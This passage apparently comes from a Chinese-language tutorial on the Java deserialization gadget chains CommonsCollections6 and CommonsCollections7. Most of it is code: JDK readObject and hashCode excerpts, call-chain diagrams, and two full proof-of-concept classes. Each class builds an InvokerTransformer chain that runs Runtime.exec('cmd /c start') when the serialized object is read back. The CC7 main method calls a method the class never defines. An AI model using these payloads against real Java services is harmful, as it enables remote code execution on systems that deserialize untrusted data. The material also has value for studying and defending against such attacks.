1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } ...... }
TiedMapEntry
1 2 3 4 5 6 7 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
新增类:HashSet
存储 HashMap 的 keySet() :HashSet 用来存储 HashMap 的 keySet()
在这个步骤中,HashSet 只是一个容器,用来接收 HashMap 中的条目集
在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { private transient HashMap<E,Object> map; ...... for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CommonsCollections6 { static String serialFileName = "commons-collections6.ser" ; public static void main (String[] args) throws Exception { cc6bySimplify(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc6bySimplify () throws Exception { String execArgs = "cmd /c start" ; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{execArgs}), new ConstantTransformer (1 ) }; final Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); HashMap map = new HashMap (); map.put(entry, "1" ); HashSet set = new HashSet (map.keySet()); lazyMap.clear(); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(set); oos.flush(); oos.close(); } }
调用链:
1 2 3 4 5 6 7 HashMap.readObject() → hash(key) → TiedMapEntry.hashCode() → getValue() → LazyMap.get() → Transformer.transform() → 执行恶意代码(如 Runtime.exec())
CC7 环境:以 JDK8 版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
新增类:HashTable
这个版本使用 HashTable 来替换 HashMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...... for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } ...... } private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { ...... int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { static String serialFileName = "commons-collections7.ser" ; public static void main (String[] args) throws Exception { cc7byYsoSerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc7bySimplify () throws Exception { String execArgs = "cmd /c start" ; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{execArgs})}; final Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); Hashtable hashtable = new Hashtable (); hashtable.put(entry, 1 ); lazyMap.clear(); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(hashtable); oos.flush(); oos.close(); } }
调用链:
1 2 3 4 5 6 7 8 9 10 11 Hashtable │ ├─> table[] 数组存储 Entry[] │ └─> Entry<K,V> ├─> key: TiedMapEntry │ ├─> map: LazyMap │ │ └─> factory: ChainedTransformer │ └─> key: "ysoserial" │ └─> value: "value"